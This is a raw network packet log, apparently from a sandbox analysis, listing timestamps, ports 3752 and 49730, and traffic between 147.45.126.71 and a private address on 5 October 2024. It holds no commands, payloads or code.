Oct 5, 2024 14:33:09.009723902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009758949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009773970 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.009790897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009824038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009843111 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.010385990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010420084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010445118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.010453939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010489941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010505915 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.010524988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010559082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010572910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.010591984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010632038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.010641098 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.011188984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011224031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011249065 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.011256933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011291027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011296988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.011323929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011360884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011375904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.011413097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011445999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011466980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.011478901 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011532068 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.011965036 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.011998892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012051105 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.012299061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012332916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012366056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012384892 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.012398958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012432098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012453079 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.012465954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012499094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012518883 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.012533903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012566090 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012583971 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.012598991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.012645960 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.013153076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013187885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013254881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013258934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.013288975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013324022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013336897 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.013359070 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013392925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013405085 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.013426065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013459921 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013478994 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.013494015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.013540030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.014245033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014278889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014312029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014323950 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.014347076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014379978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014400959 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.014414072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014446974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014461040 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.014480114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014513016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014528036 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.014545918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.014592886 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.015276909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015311956 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015345097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015362024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.015378952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015430927 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.015430927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015465975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015500069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015516043 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.015533924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015568018 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015582085 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.015603065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.015659094 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.016119957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016155005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016187906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016204119 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.016222000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016256094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016268969 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.016289949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016324043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016345024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.016357899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016391993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016407013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.016426086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016473055 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.016964912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.016999960 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017049074 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.017050982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017086029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017118931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017133951 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.017153978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017187119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017210007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.017220974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017256021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017271042 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.017307997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.017354965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018028975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018064022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018099070 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018131971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018132925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018167019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018182039 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018202066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018235922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018249989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018270016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018301964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018315077 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018337011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018383980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018879890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018913984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018948078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.018970013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.018980980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019016027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019032955 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019056082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019088030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019118071 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019121885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019155979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019172907 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019188881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019237041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019754887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019788980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019821882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019839048 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019855976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019890070 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019906998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019922972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019957066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.019972086 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.019992113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020024061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020040989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.020056963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020092010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020106077 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.020781040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020816088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020848989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020864010 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.020884991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020906925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.020920038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020952940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020986080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.020998955 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021020889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021049976 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021054983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021087885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021121025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021121979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021182060 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021650076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021684885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021718025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021752119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021753073 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021800995 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021802902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021840096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021872044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021887064 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021905899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021939993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.021956921 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.021974087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022007942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022022963 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.022545099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022562981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022579908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022597075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022603035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.022614002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022631884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022639036 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.022649050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022665024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022682905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022691011 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.022701025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022717953 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.022722960 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.022779942 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.023390055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023406029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023432016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023447990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023463011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023471117 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.023482084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023497105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023505926 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.023514032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023529053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023546934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023562908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.023565054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.023593903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.024377108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024394035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024408102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024424076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024440050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024449110 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.024456024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024471998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024485111 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.024488926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024506092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024523973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024539948 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.024542093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024559021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024570942 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.024574995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.024596930 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.024635077 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.025336981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025352955 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025368929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025386095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025409937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025453091 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.025480986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025496006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025511980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025526047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025535107 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.025542974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025557995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025562048 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.025574923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.025610924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.025633097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.026209116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026223898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026240110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026257038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026272058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026288033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026292086 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.026304007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026321888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026336908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026345015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.026360035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026384115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026386023 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.026401997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.026418924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.026444912 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.027028084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027043104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027059078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027074099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027086973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027113914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027128935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027132034 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.027146101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027163029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027178049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027180910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.027194023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027209997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.027214050 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.027246952 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.027268887 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.028086901 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028103113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028117895 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028134108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028148890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028163910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028179884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028194904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028194904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.028211117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028228045 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028244019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028247118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.028260946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028275013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.028276920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028309107 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.028956890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028975010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.028990984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029006004 CEST	3752	49730	147.45.126.71	192.168.2.4
